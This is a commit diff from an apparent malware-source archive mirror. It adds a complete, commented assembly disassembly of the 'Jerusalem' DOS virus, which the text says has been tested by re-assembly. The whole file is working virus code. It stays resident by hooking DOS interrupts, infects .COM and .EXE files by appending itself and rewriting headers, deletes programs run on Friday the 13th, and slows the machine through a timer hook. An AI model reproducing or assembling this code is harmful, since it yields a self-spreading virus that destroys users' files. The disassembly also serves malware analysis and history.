mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,797 @@
|
||||
; The 'Jerusalem' virus
|
||||
|
||||
; Disassembled by Joe Hirst (Tel: 0273-26105) January 1989.
|
||||
|
||||
; The disassembly has been tested by re-assembly using MASM 5.0
|
||||
|
||||
RAM SEGMENT AT 0
|
||||
|
||||
; System data
|
||||
|
||||
ORG 3FCH
|
||||
BW03FC DW ?
|
||||
BB03FE DB ?
|
||||
|
||||
ORG 2CH
|
||||
ENV_SG DW ? ; Segment address of environment
|
||||
|
||||
RAM ENDS
|
||||
|
||||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||||
ASSUME CS:CODE,DS:NOTHING,ES:RAM
|
||||
|
||||
START: JMP BP0010
|
||||
|
||||
DB 'sU'
|
||||
|
||||
VR_SIG DB 'MsDos'
|
||||
|
||||
VIR_RT EQU THIS DWORD
|
||||
V_RTOF DW 0100H
|
||||
V_RTSG DW 1C26H
|
||||
DEL_SW DB 0 ; Delete program switch
|
||||
BEGIN DW 0 ; Initial value for AX
|
||||
F_SIZE DW 2A74H ; Total file size
|
||||
|
||||
INT_08 EQU THIS DWORD
|
||||
I08OFF DW 00ABH ; Int 8 offset
|
||||
I08SEG DW 17CDH ; Int 8 segment
|
||||
|
||||
INT_21 EQU THIS DWORD
|
||||
I21OFF DW 1460H ; Int 21H offset
|
||||
I21SEG DW 029FH ; Int 21H segment
|
||||
|
||||
INT_24 EQU THIS DWORD
|
||||
I24OFF DW 0556H ; Int 24H offset
|
||||
I24SEG DW 189BH ; Int 24H segment
|
||||
|
||||
TCOUNT DW 3A53H ; Timer count
|
||||
|
||||
; Fields passed by spare virus call
|
||||
|
||||
SPAR01 DW 0 ; 00 Spare call field 1 - AX
|
||||
SP_RET EQU THIS DWORD
|
||||
SPAR02 DW 0 ; 02 Spare call field 2 - IP
|
||||
SPAR03 DW 0 ; 04 Spare call field 3 - CS
|
||||
SPAR04 DW 0 ; 06 Spare call field 4 - SP
|
||||
SPAR05 DW 0 ; 08 Spare call field 5 - SS
|
||||
SPAR06 DW 0 ; 0A Spare call field 6
|
||||
SPAR07 DW 0 ; 0C Spare call field 7
|
||||
SPAR08 DW 0 ; 0E Spare call field 8
|
||||
|
||||
ST_ES1 DW 1BB5H ; Original ES
|
||||
SET_PA DW 0080H
|
||||
|
||||
; Program parameter block
|
||||
|
||||
PPB_01 DW 0 ; Environment address
|
||||
PPB_02 DW 0080H ; Command line offset
|
||||
PPB_03 DW 1BB5H ; Command line segment
|
||||
PPB_04 DW 005CH ; FCB1 offset
|
||||
PPB_05 DW 1BB5H ; FCB1 segment
|
||||
PPB_06 DW 006CH ; FCB2 offset
|
||||
PPB_07 DW 1BB5H ; FCB2 segment
|
||||
|
||||
PRG_SP DW 0710H ; Initial stack pointer store
|
||||
PRG_SS DW 14EDH ; Initial stack segment store
|
||||
PROGRM EQU THIS DWORD
|
||||
PRGOFF DW 00C5H ; Initial code offset store
|
||||
PRGSEG DW 14EDH ; Initial code segment store
|
||||
SS_ST1 DW 0246H
|
||||
SS_ST2 DB 00A1H
|
||||
EXE_SW DB 0 ; EXE switch - 0 = .COM extension
|
||||
|
||||
; .EXE header store
|
||||
|
||||
EXEHED DB 4DH, 5AH ; 00 .EXE header ident
|
||||
EXHD01 DW 00F0H ; 02 Bytes in last page
|
||||
EXHD02 DW 00B2H ; 04 Size of file in pages
|
||||
EXHD03 DW 0138H ; 06 Number of relocation entries
|
||||
EXHD04 DW 0060H ; 08 Size of header in paragraphs
|
||||
EXHD05 DW 06D3H ; 0A Minimum extra storage required
|
||||
EXHD06 DW -1 ; 0C Maximum extra storage required
|
||||
EXHD07 DW 155EH ; 0E Initial stack segment
|
||||
EXHD08 DW 0710H ; 10 Initial stack pointer
|
||||
EXHD09 DW 1984H ; 12 Negative checksum
|
||||
EXHD10 DW 00C5H ; 14 Initial code offset
|
||||
EXHD11 DW 155EH ; 16 Initial code segment
|
||||
DB 01EH, 000H, 000H, 000H
|
||||
|
||||
SIGBUF DB 037H, 020H, 02AH, 02AH, 02AH
|
||||
F_HAND DW 5 ; File handle
|
||||
F_ATTS DW 0020H ; File attributes
|
||||
F_DATE DW 0F30H ; File date
|
||||
F_TIME DW 6000H ; File time
|
||||
BYTSEC DW 0200H ; Bytes per sector
|
||||
PARAGR DW 0010H ; Size of a paragraph
|
||||
F_SIZ1 DW 5BE0H ; Low-order file size
|
||||
F_SIZ2 DW 1 ; High-order file size
|
||||
F_PATH EQU THIS DWORD
|
||||
FPTHOF DW 41B9H ; Program pathname offset
|
||||
FPTHSG DW 9B2AH ; Program pathname segment
|
||||
COM_CM DB 'COMMAND.COM'
|
||||
MEM_SW DW 1 ; Memory allocated switch
|
||||
DB 4 DUP (0)
|
||||
|
||||
; This section seems to assume a COM origin of 100H
|
||||
|
||||
BP0010:
|
||||
CLD
|
||||
MOV AH,0E0H ; Virus "are you there" call
|
||||
INT 21H ; DOS service (Virus - 1)
|
||||
CMP AH,0E0H ; Test for unchanged
|
||||
JNB BP0020 ; Branch if invalid reply
|
||||
CMP AH,3 ; Test for standard "yes"
|
||||
JB BP0020 ; Branch if non-standard
|
||||
MOV AH,0DDH ; Replace program
|
||||
MOV DI,0100H ; Initial offset
|
||||
MOV SI,OFFSET ENDADR ; Length of virus
|
||||
ADD SI,DI ; Add initial offset
|
||||
MOV CX,CS:F_SIZE[DI] ; Get total filesize
|
||||
INT 21H ; DOS service (Virus - 2)
|
||||
BP0020:
|
||||
MOV AX,CS ; Get current segment
|
||||
ADD AX,10H ; Address past PSP
|
||||
MOV SS,AX ; \ Set up stack
|
||||
MOV SP,0700H ; /
|
||||
PUSH AX ; Segment for return
|
||||
MOV AX,OFFSET BP0030 ; \ Offset for return
|
||||
PUSH AX ; /
|
||||
RETF ; "Return" to next instruction
|
||||
|
||||
; We now have an origin of zero
|
||||
|
||||
BP0030:
|
||||
CLD
|
||||
PUSH ES
|
||||
MOV ST_ES1,ES ; Save original ES
|
||||
MOV PPB_03,ES ; \
|
||||
MOV PPB_05,ES ; ) Segments in PPB
|
||||
MOV PPB_07,ES ; /
|
||||
MOV AX,ES ; \ Segment relocation factor
|
||||
ADD AX,10H ; /
|
||||
ADD PRGSEG,AX ; Initial code segment store
|
||||
ADD PRG_SS,AX ; Initial stack segment store
|
||||
MOV AH,0E0H ; Virus "are you there" call
|
||||
INT 21H ; DOS service (Virus - 1)
|
||||
CMP AH,0E0H ; Test for unchanged
|
||||
JNB BP0040 ; Branch if not
|
||||
CMP AH,3 ; Test for standard "yes"
|
||||
POP ES
|
||||
MOV SS,PRG_SS ; Initial stack segment store
|
||||
MOV SP,PRG_SP ; Initial stack pointer store
|
||||
JMP PROGRM ; Start of actual program
|
||||
|
||||
; Virus is not already active
|
||||
|
||||
BP0040:
|
||||
XOR AX,AX ; \ Address page zero
|
||||
MOV ES,AX ; /
|
||||
MOV AX,BW03FC ; \ Save system area data (1)
|
||||
MOV SS_ST1,AX ; /
|
||||
MOV AL,BB03FE ; \ Save system area data (2)
|
||||
MOV SS_ST2,AL ; /
|
||||
MOV BW03FC,0A5F3H ; Store REPZ MOVSW
|
||||
MOV BB03FE,0CBH ; Store RETF
|
||||
POP AX ; \
|
||||
ADD AX,10H ; ) Address past PSP
|
||||
MOV ES,AX ; /
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
MOV CX,OFFSET ENDADR ; Length of virus
|
||||
SHR CX,1 ; Divide by two (word parameter)
|
||||
XOR SI,SI
|
||||
MOV DI,SI
|
||||
PUSH ES
|
||||
MOV AX,OFFSET BP0050
|
||||
PUSH AX
|
||||
DB 0EAH ; \ Far jump to move instruction
|
||||
DW BW03FC, 0 ; /
|
||||
|
||||
BP0050:
|
||||
MOV AX,CS
|
||||
MOV SS,AX
|
||||
MOV SP,0700H
|
||||
XOR AX,AX ; \ Address page zero
|
||||
MOV DS,AX ; /
|
||||
ASSUME DS:RAM,ES:NOTHING
|
||||
MOV AX,SS_ST1 ; \ Restore system area data (1)
|
||||
MOV BW03FC,AX ; /
|
||||
MOV AL,SS_ST2 ; \ Restore system area data (2)
|
||||
MOV BB03FE,AL ; /
|
||||
MOV BX,SP
|
||||
MOV CL,4
|
||||
SHR BX,CL
|
||||
ADD BX,10H
|
||||
MOV SET_PA,BX ; Save number of paragraphs
|
||||
MOV AH,4AH ; Set block
|
||||
MOV ES,ST_ES1 ; Get original ES
|
||||
INT 21H ; DOS service (Set block)
|
||||
MOV AX,3521H ; Get interrupt 21H
|
||||
INT 21H ; DOS service (Get int)
|
||||
MOV I21OFF,BX ; Save interrupt 21H offset
|
||||
MOV I21SEG,ES ; Save interrupt 21H segment
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
ASSUME DS:CODE
|
||||
MOV DX,OFFSET BP0130 ; Interrupt 21H routine
|
||||
MOV AX,2521H ; Set interrupt 21H
|
||||
INT 21H ; DOS service (Set int)
|
||||
MOV ES,ST_ES1 ; Get original ES
|
||||
ASSUME ES:RAM
|
||||
MOV ES,ES:ENV_SG ; Get environment segment
|
||||
XOR DI,DI ; Start of environment
|
||||
MOV CX,7FFFH ; Allow for 32K environment
|
||||
XOR AL,AL ; Search for zero
|
||||
BP0060:
|
||||
REPNZ SCASB ; Find zero
|
||||
CMP ES:[DI],AL ; Is following character zero
|
||||
LOOPNZ BP0060 ; Search again if not
|
||||
MOV DX,DI ; Save pointer
|
||||
ADD DX,3 ; Address pathname
|
||||
MOV AX,4B00H ; Load and execute program
|
||||
PUSH ES ; \ Set DS to ES
|
||||
POP DS ; /
|
||||
PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
ASSUME DS:RAM,ES:NOTHING
|
||||
MOV BX,OFFSET PPB_01 ; PPB (for load and execute)
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
MOV AH,2AH ; Get date
|
||||
INT 21H ; DOS service (Get date)
|
||||
MOV DEL_SW,0 ; Set delete program switch off
|
||||
CMP CX,07C3H ; Year = 1987
|
||||
JZ BP0080 ; Branch if yes
|
||||
CMP AL,5 ; Day of week = Friday
|
||||
JNZ BP0070 ; Branch if not
|
||||
CMP DL,0DH ; Day of month = 13
|
||||
JNZ BP0070 ; Branch if not
|
||||
INC DEL_SW ; Set delete program switch on
|
||||
JMP BP0080
|
||||
|
||||
BP0070:
|
||||
MOV AX,3508H ; Get interrupt 8
|
||||
INT 21H ; DOS service (Get int)
|
||||
MOV I08OFF,BX ; Save interrupt 8 offset
|
||||
MOV I08SEG,ES ; Save interrupt 8 segment
|
||||
PUSH CS ; \ Set DS to CS
|
||||
POP DS ; /
|
||||
ASSUME DS:CODE
|
||||
MOV TCOUNT,7E90H ; Start clock count (30 mins)
|
||||
MOV AX,2508H ; Set interrupt 8
|
||||
MOV DX,OFFSET BP0100 ; Interrupt 8 routine
|
||||
INT 21H ; DOS service (Set int)
|
||||
BP0080:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
ASSUME DS:NOTHING
|
||||
PUSHF ; Fake an interrupt
|
||||
CALL INT_21 ; Interrupt 21H (Load and execute)
|
||||
PUSH DS ; \ Set ES to DS
|
||||
POP ES ; /
|
||||
MOV AH,49H ; Free allocated memory
|
||||
INT 21H ; DOS service (Free memory)
|
||||
MOV AH,4DH ; Get return code of child process
|
||||
INT 21H ; DOS service (Get return code)
|
||||
MOV AH,31H ; Keep process
|
||||
MOV DX,OFFSET ENDKEEP ; Length of program
|
||||
MOV CL,4 ; \ Convert to paragraphs
|
||||
SHR DX,CL ; /
|
||||
ADD DX,10H ; And another 256 bytes
|
||||
INT 21H ; DOS service (Keep process)
|
||||
|
||||
; Interrupt 24H
|
||||
|
||||
BP0090:
|
||||
XOR AL,AL ; Ignore the error
|
||||
IRET
|
||||
|
||||
; Interrupt 8
|
||||
|
||||
BP0100:
|
||||
CMP TCOUNT,2 ; Is timer ready
|
||||
JNZ BP0110 ; Branch if not
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH BP
|
||||
MOV AX,0602H ; Scroll up two lines
|
||||
MOV BH,87H ; Blinking white on black
|
||||
MOV CX,0505H ; Start row 5 column 5
|
||||
MOV DX,1010H ; End row 16 column 16
|
||||
INT 10H ; VDU I/O
|
||||
POP BP
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
BP0110:
|
||||
DEC TCOUNT ; Subtract from timer count
|
||||
JNZ BP0120 ; Branch if not zero
|
||||
MOV TCOUNT,1 ; Set back to one
|
||||
PUSH AX
|
||||
PUSH CX
|
||||
PUSH SI
|
||||
MOV CX,4001H ; \ Waste some time
|
||||
REPZ LODSB ; /
|
||||
POP SI
|
||||
POP CX
|
||||
POP AX
|
||||
BP0120:
|
||||
JMP INT_08 ; Interrupt 8
|
||||
|
||||
; Interrupt 21H
|
||||
|
||||
BP0130:
|
||||
PUSHF
|
||||
CMP AH,0E0H ; Virus "are you there" call
|
||||
JNZ BP0140 ; Branch if other call
|
||||
MOV AX,0300H ; Standard "yes"
|
||||
POPF
|
||||
IRET
|
||||
|
||||
BP0140:
|
||||
CMP AH,0DDH ; Virus replace program call
|
||||
JZ BP0160 ; Branch if yes
|
||||
CMP AH,0DEH ; Virus spare call
|
||||
JZ BP0170 ; Branch if yes
|
||||
CMP AX,4B00H ; Is it load and execute
|
||||
JNZ BP0150 ; Branch if not
|
||||
JMP BP0210 ; Process load and execute
|
||||
|
||||
BP0150:
|
||||
POPF
|
||||
JMP CS:INT_21 ; Interrupt 21H
|
||||
|
||||
; Replace program call
|
||||
|
||||
BP0160:
|
||||
POP AX
|
||||
POP AX ; Retrieve return offset
|
||||
MOV AX,100H ; Replace with start address
|
||||
MOV V_RTOF,AX ; Store in return jump
|
||||
POP AX ; Retrieve return segment
|
||||
MOV V_RTSG,AX ; Store in return jump
|
||||
REPZ MOVSB ; Restore program to beginning
|
||||
POPF
|
||||
MOV AX,BEGIN ; Start with zero register
|
||||
JMP VIR_RT ; Start actual program
|
||||
|
||||
; Spare virus call
|
||||
|
||||
BP0170:
|
||||
ADD SP,6 ; Remove three words from stack
|
||||
POPF
|
||||
MOV AX,CS ; \
|
||||
MOV SS,AX ; ) Set up internal stack
|
||||
MOV SP,OFFSET ENDADR ; /
|
||||
PUSH ES
|
||||
PUSH ES
|
||||
XOR DI,DI
|
||||
PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV CX,10H ; Length to move
|
||||
MOV SI,BX
|
||||
MOV DI,OFFSET SPAR01
|
||||
REPZ MOVSB ; Copy to SPAR01-SPAR08 inclusive
|
||||
MOV AX,DS ; \ Set ES to DS
|
||||
MOV ES,AX ; /
|
||||
MUL PARAGR ; Size of a paragraph
|
||||
ADD AX,SPAR06 ; \ Add
|
||||
ADC DX,0 ; /
|
||||
DIV PARAGR ; Size of a paragraph
|
||||
MOV DS,AX
|
||||
MOV SI,DX
|
||||
MOV DI,DX
|
||||
MOV BP,ES ; Save ES
|
||||
MOV BX,SPAR08
|
||||
OR BX,BX
|
||||
JZ BP0190
|
||||
BP0180:
|
||||
MOV CX,8000H
|
||||
REPZ MOVSW
|
||||
ADD AX,1000H
|
||||
ADD BP,1000H
|
||||
MOV DS,AX
|
||||
MOV ES,BP ; Restore ES
|
||||
DEC BX
|
||||
JNZ BP0180
|
||||
BP0190:
|
||||
MOV CX,SPAR07
|
||||
REPZ MOVSB
|
||||
POP AX ; Recover ES
|
||||
PUSH AX ; Put it back again
|
||||
ADD AX,10H ; Address past PSP
|
||||
ADD SPAR05,AX ; Relocate SS
|
||||
ADD SPAR03,AX ; Relocate ?
|
||||
MOV AX,SPAR01
|
||||
POP DS
|
||||
POP ES
|
||||
MOV SS,SPAR05
|
||||
MOV SP,SPAR04
|
||||
JMP SP_RET
|
||||
|
||||
; Friday 13th - Delete program
|
||||
|
||||
BP0200:
|
||||
XOR CX,CX ; No attributes
|
||||
MOV AX,4301H ; Set file attributes
|
||||
INT 21H ; DOS service (Set attributes)
|
||||
MOV AH,41H ; Delete directory entry
|
||||
INT 21H ; DOS service (Delete entry)
|
||||
MOV AX,4B00H ; Load and execute program
|
||||
POPF
|
||||
JMP INT_21 ; Interrupt 21H
|
||||
|
||||
; Process load and execute program
|
||||
|
||||
BP0210:
|
||||
CMP DEL_SW,1 ; Test delete program switch
|
||||
JZ BP0200 ; Branch to delete if on
|
||||
MOV F_HAND,-1 ; No file handle
|
||||
MOV MEM_SW,0 ; Set off memory allocated switch
|
||||
MOV FPTHOF,DX ; Save pathname offset
|
||||
MOV FPTHSG,DS ; Save pathname segment
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
CLD
|
||||
MOV DI,DX ; Point to file pathname
|
||||
XOR DL,DL ; Default drive
|
||||
CMP BYTE PTR [DI+1],3AH ; Test second character for ':'
|
||||
JNZ BP0220 ; Branch if not
|
||||
MOV DL,[DI] ; Get drive letter
|
||||
AND DL,1FH ; Convert to number
|
||||
BP0220:
|
||||
MOV AH,36H ; Get disk free space
|
||||
INT 21H ; DOS service (Get disk free)
|
||||
CMP AX,-1 ; Test for invalid drive
|
||||
JNZ BP0240 ; Branch if not
|
||||
BP0230:
|
||||
JMP BP0500 ; Terminate
|
||||
|
||||
BP0240:
|
||||
MUL BX ; Calc number of free sectors
|
||||
MUL CX ; Calc number of free bytes
|
||||
OR DX,DX ; Test high word of result
|
||||
JNZ BP0250 ; Branch if not zero
|
||||
CMP AX,OFFSET ENDADR ; Length of virus
|
||||
JB BP0230 ; Terminate if less
|
||||
BP0250:
|
||||
MOV DX,FPTHOF ; Get pathname offset
|
||||
PUSH DS ; \ Set ES to DS
|
||||
POP ES ; /
|
||||
XOR AL,AL ; Test character - zero
|
||||
MOV CX,41H ; Maximum pathname length
|
||||
REPNZ SCASB ; Find end of pathname
|
||||
MOV SI,FPTHOF ; Get pathname offset
|
||||
BP0260:
|
||||
MOV AL,[SI] ; Get pathname character
|
||||
OR AL,AL ; Test for a character
|
||||
JZ BP0280 ; Finish if none
|
||||
CMP AL,61H ; Test for 'a'
|
||||
JB BP0270 ; Branch if less
|
||||
CMP AL,7AH ; Test for 'z'
|
||||
JA BP0270 ; Branch if above
|
||||
SUB BYTE PTR [SI],20H ; Convert to uppercase
|
||||
BP0270:
|
||||
INC SI ; Address next character
|
||||
JMP BP0260 ; Process next character
|
||||
|
||||
BP0280:
|
||||
MOV CX,0BH ; Load length 11
|
||||
SUB SI,CX ; Address back by length
|
||||
MOV DI,OFFSET COM_CM ; 'COMMAND.COM'
|
||||
PUSH CS ; \ Set ES to CS
|
||||
POP ES ; /
|
||||
MOV CX,0BH ; Load length again
|
||||
REPZ CMPSB ; Compare
|
||||
JNZ BP0290 ; Continue if not command.com
|
||||
JMP BP0500 ; Terminate
|
||||
|
||||
BP0290:
|
||||
MOV AX,4300H ; Get file attributes
|
||||
INT 21H ; DOS service (Get attributes)
|
||||
JB BP0300 ; Follow chain of error branches
|
||||
MOV F_ATTS,CX ; Save file attributes
|
||||
BP0300:
|
||||
JB BP0320 ; Follow chain of error branches
|
||||
XOR AL,AL ; Scan character - zero
|
||||
MOV EXE_SW,AL ; Set EXE switch off
|
||||
PUSH DS ; \ Set ES to DS
|
||||
POP ES ; /
|
||||
MOV DI,DX ; Pointer to pathname
|
||||
MOV CX,41H ; Maximum pathname length
|
||||
REPNZ SCASB ; Find end of pathname
|
||||
CMP BYTE PTR [DI-2],4DH ; Is last letter 'M'
|
||||
JZ BP0310 ; Branch if yes
|
||||
CMP BYTE PTR [DI-2],6DH ; Is last letter 'm'
|
||||
JZ BP0310 ; Branch if yes
|
||||
INC EXE_SW ; Set EXE switch on
|
||||
BP0310:
|
||||
MOV AX,3D00H ; Open handle, read only
|
||||
INT 21H ; DOS service (Open handle)
|
||||
BP0320:
|
||||
JB BP0340 ; Follow chain of error branches
|
||||
MOV F_HAND,AX ; Save file handle
|
||||
MOV BX,AX ; File handle
|
||||
MOV AX,4202H ; Move file pointer
|
||||
MOV CX,-1 ; \ End of file minus 5
|
||||
MOV DX,-5 ; /
|
||||
INT 21H ; DOS service (Move pointer)
|
||||
JB BP0320 ; Follow chain of error branches
|
||||
ADD AX,5 ; Total file size
|
||||
MOV F_SIZE,AX ; Save total file size
|
||||
MOV CX,5 ; Length to read
|
||||
MOV DX,OFFSET SIGBUF ; Infection test buffer
|
||||
MOV AX,CS ; \
|
||||
MOV DS,AX ; ) Make DS & ES same as CS
|
||||
MOV ES,AX ; /
|
||||
ASSUME DS:CODE
|
||||
MOV AH,3FH ; Read handle
|
||||
INT 21H ; DOS service (Read handle)
|
||||
MOV DI,DX ; Address test buffer
|
||||
MOV SI,OFFSET VR_SIG ; Signature
|
||||
REPZ CMPSB ; Compare signatures
|
||||
JNZ BP0330 ; Branch if not infected
|
||||
MOV AH,3EH ; Close handle
|
||||
INT 21H ; DOS service (Close handle)
|
||||
JMP BP0500 ; Terminate
|
||||
|
||||
BP0330:
|
||||
MOV AX,3524H ; Get interrupt 24H
|
||||
INT 21H ; DOS service (Get int)
|
||||
MOV I24OFF,BX ; Save interrupt 24H offset
|
||||
MOV I24SEG,ES ; Save interrupt 24H segment
|
||||
MOV DX,OFFSET BP0090 ; Interrupt 24H routine
|
||||
MOV AX,2524H ; Set interrupt 24H
|
||||
INT 21H ; DOS service (Set int)
|
||||
LDS DX,F_PATH ; Address program pathname
|
||||
XOR CX,CX ; No attributes
|
||||
MOV AX,4301H ; Set file attributes
|
||||
INT 21H ; DOS service (Set attributes)
|
||||
ASSUME DS:NOTHING
|
||||
BP0340:
|
||||
JB BP0350 ; Follow chain of error branches
|
||||
MOV BX,F_HAND ; Get file handle
|
||||
MOV AH,3EH ; Close handle
|
||||
INT 21H ; DOS service (Close handle)
|
||||
MOV F_HAND,-1 ; No file handle
|
||||
MOV AX,3D02H ; Open handle read/write
|
||||
INT 21H ; DOS service (Open handle)
|
||||
JB BP0350 ; Follow chain of error branches
|
||||
MOV F_HAND,AX ; Save file handle
|
||||
MOV AX,CS ; \
|
||||
MOV DS,AX ; ) Make DS & ES same as CS
|
||||
MOV ES,AX ; /
|
||||
ASSUME DS:CODE
|
||||
MOV BX,F_HAND ; Get file handle
|
||||
MOV AX,5700H ; Get file date and time
|
||||
INT 21H ; DOS service (Get file date)
|
||||
MOV F_DATE,DX ; Save file date
|
||||
MOV F_TIME,CX ; Save file time
|
||||
MOV AX,4200H ; Move file pointer
|
||||
XOR CX,CX ; \ Beginning of file
|
||||
MOV DX,CX ; /
|
||||
INT 21H ; DOS service (Move pointer)
|
||||
BP0350:
|
||||
JB BP0380 ; Follow chain of error branches
|
||||
CMP EXE_SW,0 ; Test EXE switch
|
||||
JZ BP0360 ; Branch if off
|
||||
JMP BP0400
|
||||
|
||||
; .COM file processing
|
||||
|
||||
BP0360:
|
||||
MOV BX,1000H ; 64K of memory wanted
|
||||
MOV AH,48H ; Allocate memory
|
||||
INT 21H ; DOS service (Allocate memory)
|
||||
JNB BP0370 ; Branch if successful
|
||||
MOV AH,3EH ; Close handle
|
||||
MOV BX,F_HAND ; Get file handle
|
||||
INT 21H ; DOS service (Close handle)
|
||||
JMP BP0500 ; Terminate
|
||||
|
||||
BP0370:
|
||||
INC MEM_SW ; Set on memory allocated switch
|
||||
MOV ES,AX ; Segment of allocated memory
|
||||
XOR SI,SI ; Start of virus
|
||||
MOV DI,SI ; Start of allocated memory
|
||||
MOV CX,OFFSET ENDADR ; Length of virus
|
||||
REPZ MOVSB ; Copy virus to allocated
|
||||
MOV DX,DI ; Address after virus
|
||||
MOV CX,F_SIZE ; Total file size
|
||||
MOV BX,F_HAND ; Get file handle
|
||||
PUSH ES ; \ Set DS to ES
|
||||
POP DS ; /
|
||||
MOV AH,3FH ; Read handle
|
||||
INT 21H ; DOS service (Read handle)
|
||||
BP0380:
|
||||
JB BP0390 ; Follow chain of error branches
|
||||
ADD DI,CX ; Add previous file size
|
||||
XOR CX,CX ; \ Beginning of file
|
||||
MOV DX,CX ; /
|
||||
MOV AX,4200H ; Move file pointer
|
||||
INT 21H ; DOS service (Move pointer)
|
||||
MOV SI,OFFSET VR_SIG ; Signature
|
||||
MOV CX,5 ; Length to move
|
||||
REPZ MOVS [DI],CS:VR_SIG ; Copy signature to end
|
||||
MOV CX,DI ; Length to write
|
||||
XOR DX,DX ; Start of allocated
|
||||
MOV AH,40H ; Write handle
|
||||
INT 21H ; DOS service (Write handle)
|
||||
BP0390:
|
||||
JB BP0410 ; Follow chain of error branches
|
||||
JMP BP0480 ; Free memory and reset values
|
||||
|
||||
; .EXE file processing
|
||||
|
||||
BP0400:
|
||||
MOV CX,1CH ; Length of EXE header
|
||||
MOV DX,OFFSET EXEHED ; .EXE header store
|
||||
MOV AH,3FH ; Read handle
|
||||
INT 21H ; DOS service (Read handle)
|
||||
BP0410:
|
||||
JB BP0430 ; Follow chain of error branches
|
||||
MOV EXHD09,1984H ; Negative checksum
|
||||
MOV AX,EXHD07 ; \ Store initial stack segment
|
||||
MOV PRG_SS,AX ; /
|
||||
MOV AX,EXHD08 ; \ Store initial stack pointer
|
||||
MOV PRG_SP,AX ; /
|
||||
MOV AX,EXHD10 ; \ Store initial code offset
|
||||
MOV PRGOFF,AX ; /
|
||||
MOV AX,EXHD11 ; \ Store initial code segment
|
||||
MOV PRGSEG,AX ; /
|
||||
MOV AX,EXHD02 ; Get size of file in pages
|
||||
CMP EXHD01,0 ; Number of bytes in last page
|
||||
JZ BP0420 ; Branch if none
|
||||
DEC AX ; One less page
|
||||
BP0420:
|
||||
MUL BYTSEC ; Bytes per sector
|
||||
ADD AX,EXHD01 ; \ Add bytes in last page
|
||||
ADC DX,0 ; /
|
||||
ADD AX,0FH ; \ Round up
|
||||
ADC DX,0 ; /
|
||||
AND AX,0FFF0H ; Clear bottom figure
|
||||
MOV F_SIZ1,AX ; Save low-order file size
|
||||
MOV F_SIZ2,DX ; Save high-order file size
|
||||
ADD AX,OFFSET ENDADR ; \ Add virus length
|
||||
ADC DX,0 ; /
|
||||
BP0430:
|
||||
JB BP0450 ; Follow chain of error branches
|
||||
DIV BYTSEC ; Bytes per sector
|
||||
OR DX,DX ; Test odd bytes
|
||||
JZ BP0440 ; Branch if none
|
||||
INC AX ; One more page for odd bytes
|
||||
BP0440:
|
||||
MOV EXHD02,AX ; Store size of file in pages
|
||||
MOV EXHD01,DX ; Store bytes in last page
|
||||
MOV AX,F_SIZ1 ; Low-order file size
|
||||
MOV DX,F_SIZ2 ; High-order file size
|
||||
DIV PARAGR ; Size of a paragraph
|
||||
SUB AX,EXHD04 ; Size of header in paragraphs
|
||||
MOV EXHD11,AX ; Initial code segment
|
||||
MOV EXHD10,OFFSET BP0030 ; Initial code offset
|
||||
MOV EXHD07,AX ; Initial stack segment
|
||||
MOV EXHD08,OFFSET ENDADR ; Initial stack pointer
|
||||
XOR CX,CX ; \ Beginning of file
|
||||
MOV DX,CX ; /
|
||||
MOV AX,4200H ; Move file pointer
|
||||
INT 21H ; DOS service (Move pointer)
|
||||
BP0450:
|
||||
JB BP0460 ; Follow chain of error branches
|
||||
MOV CX,1CH ; Length of EXE header
|
||||
MOV DX,OFFSET EXEHED ; .EXE header store
|
||||
MOV AH,40H ; Write handle
|
||||
INT 21H ; DOS service (Write handle)
|
||||
BP0460:
|
||||
JB BP0470 ; Follow chain of error branches
|
||||
CMP AX,CX ; Has same length been written
|
||||
JNZ BP0480 ; Branch if not
|
||||
MOV DX,F_SIZ1 ; Low-order file size
|
||||
MOV CX,F_SIZ2 ; High-order file size
|
||||
MOV AX,4200H ; Move file pointer
|
||||
INT 21H ; DOS service (Move pointer)
|
||||
BP0470:
|
||||
JB BP0480 ; Follow chain of error branches
|
||||
XOR DX,DX ; Address beginning of virus
|
||||
MOV CX,OFFSET ENDADR ; Length of virus
|
||||
MOV AH,40H ; Write handle
|
||||
INT 21H ; DOS service (Write handle)
|
||||
ASSUME DS:NOTHING
|
||||
BP0480:
|
||||
CMP MEM_SW,0 ; Test memory allocated switch
|
||||
JZ BP0490 ; Branch if off
|
||||
MOV AH,49H ; Free allocated memory
|
||||
INT 21H ; DOS service (Free memory)
|
||||
BP0490:
|
||||
CMP F_HAND,-1 ; Test file handle
|
||||
JZ BP0500 ; Terminate if none
|
||||
MOV BX,F_HAND ; Get file handle
|
||||
MOV DX,F_DATE ; Get file date
|
||||
MOV CX,F_TIME ; Get file time
|
||||
MOV AX,5701H ; Set file date and time
|
||||
INT 21H ; DOS service (Set file date)
|
||||
MOV AH,3EH ; Close handle
|
||||
INT 21H ; DOS service (Close handle)
|
||||
LDS DX,F_PATH ; Address program pathname
|
||||
MOV CX,F_ATTS ; Load file attributes
|
||||
MOV AX,4301H ; Set file attributes
|
||||
INT 21H ; DOS service (Set attributes)
|
||||
LDS DX,INT_24 ; Original interrupt 24H address
|
||||
MOV AX,2524H ; Set interrupt 24H
|
||||
INT 21H ; DOS service (Set int)
|
||||
BP0500:
|
||||
POP ES
|
||||
POP DS
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF
|
||||
JMP INT_21 ; Interrupt 21H
|
||||
|
||||
DB 11 DUP (0)
|
||||
|
||||
ENDKEEP EQU $
|
||||
|
||||
; Stack area - rubbish
|
